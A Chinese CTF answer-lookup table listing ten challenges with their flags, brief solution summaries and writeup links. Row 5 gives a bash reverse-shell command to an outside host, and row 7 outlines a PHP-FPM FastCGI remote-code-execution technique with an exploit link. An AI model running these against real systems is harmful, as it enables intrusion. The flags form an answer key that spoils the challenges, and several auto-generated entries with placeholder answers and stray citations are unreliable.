[标题搜索]只能搜索题目标题，[综合搜索]支持多关键词多项目搜索（以空格分隔）。
| 序号 | Website | Type | Title | Value | Writeup | Competition | Id |
|---|---|---|---|---|---|---|---|
| 1 | CTFHUB | Misc | 某嵌入式设备固件升级包 | flag{00002755301e60} | https://writeup.ctfhub.com/Challenge/... | 工业信息安全技能大赛巡回赛 | 9809 |
| 2 | bugku | MISC | X光的秘密 | X光的秘密的解题过程是通过提取DICOM文件中的三张图片（17、18、19帧）的RGB通道合成新图片，并利用LSB隐写术提取flag。验证过程及代码详见网页4的详细描述 4。 无 | https://ctf.njupt.edu.cn/archives/884 | 红明谷2023 | 1266 |
| 3 | NSSCTF | PohligHellman | [ISG 2023]PellCurve | 无 | https://jayxv.github.io/2023/08/25/20... | ISG | 12793 |
| 4 | BUUCTF | Misc | [INSHack2019]Yet Another RSA Challenge - Part 2 | 无 | https://ctftime.org/writeup/15206 | INSHack2019 | 6948 |
| 5 | NSSCTF | WAF绕过 | [安洵杯 2020]BASH | [安洵杯 2020]BASH的题目答案为通过构造八进制编码的反弹shell命令绕过白名单限制，验证后的解题过程及答案可参考以下直接链接： bash -i >& /dev/tcp/5i781963p2.yicp.fun/58265 0>&1 | ... | 安洵杯 | 11367 |
| 6 | NSSCTF | PWN | [HZNUCTF 2023 preliminary]checkin_pwn | HZNUCTF{We1c0me_t0_Reverse} | https://blog.csdn.net/qq_73682634/art... | HZNUCTF | 11895 |
| 7 | BUUCTF | Real | [PHP-FPM]Fastcgi 未授权访问漏洞 | PHP-FPM FastCGI未授权访问漏洞的成因是PHP-FPM默认监听9000端口且未限制访问权限，攻击者可构造恶意FastCGI请求包，通过该端口执行任意代码。漏洞利用需满足两个条件：目标服务器9000端口开放且攻击者能控制SCRIPT_FILENAME参数指向的文件路径 1 3。攻击者可通过设置auto_prepend_file=php://input和allow_url_include=On实现远程代码执行 3。验证链接为GitHub开源项目，包含漏洞利用代码及说明： 漏洞原理及利用方法 | https://github.com/m7xss/fastcgi-exploits | PHP-FPM | 7355 |
| 8 | NSSCTF | Aaencode | [MoeCTF 2022]A_band | moectf{Why_s0_many_1nstruments?} | https://www.cnblogs.com/120211P/p/170... | MoeCTF | 11487 |
| 9 | bugku | MISC | MP3 | SYC{Mp3_B15b1uBiu_W0W} | https://blog.csdn.net/qq_40481505/art... | 西湖论剑2023 | 937 |
| 10 | BUUCTF | Reverse | [SUCTF2018]HelloPython | 题目的答案 | https://ngiokweng.github.io/2022/11/1... | SUCTF2018 | 7477 |